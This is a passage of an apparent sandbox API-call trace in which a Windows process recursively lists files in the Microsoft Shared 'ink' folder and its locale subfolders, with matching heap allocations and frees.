nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0165.624] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0165.624] GetProcessHeap () returned 0x6a0000 [0165.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0165.624] GetProcessHeap () returned 0x6a0000 [0165.624] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0165.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0165.624] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.625] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0165.625] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0165.625] GetProcessHeap () returned 0x6a0000 [0165.625] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3735548 [0165.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.625] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.625] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.625] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.625] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.625] GetProcessHeap () returned 0x6a0000 [0165.625] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3735548 | out: hHeap=0x6a0000) returned 1 [0165.625] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0165.625] GetProcessHeap () returned 0x6a0000 [0165.625] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3735548 [0165.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.625] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.625] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.625] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.626] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.626] GetProcessHeap () returned 0x6a0000 [0165.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3735548 | out: hHeap=0x6a0000) returned 1 [0165.626] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0165.626] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0165.626] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0165.626] GetProcessHeap () returned 0x6a0000 [0165.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3735548 [0165.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.626] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.626] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.626] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.626] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.626] GetProcessHeap () returned 0x6a0000 [0165.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3735548 | out: hHeap=0x6a0000) returned 1 [0165.626] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0165.626] GetProcessHeap () returned 0x6a0000 [0165.626] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3735548 [0165.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.626] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.627] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.627] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.627] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.627] GetProcessHeap () returned 0x6a0000 [0165.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3735548 | out: hHeap=0x6a0000) returned 1 [0165.627] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0165.627] GetProcessHeap () returned 0x6a0000 [0165.627] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3735548 [0165.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.627] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.627] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.627] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.627] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.627] GetProcessHeap () returned 0x6a0000 [0165.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3735548 | out: hHeap=0x6a0000) returned 1 [0165.627] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0165.627] GetProcessHeap () returned 0x6a0000 [0165.627] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3735548 [0165.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.627] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.628] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.628] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.628] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.628] GetProcessHeap () returned 0x6a0000 [0165.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3735548 | out: hHeap=0x6a0000) returned 1 [0165.628] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0165.628] GetProcessHeap () returned 0x6a0000 [0165.628] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, 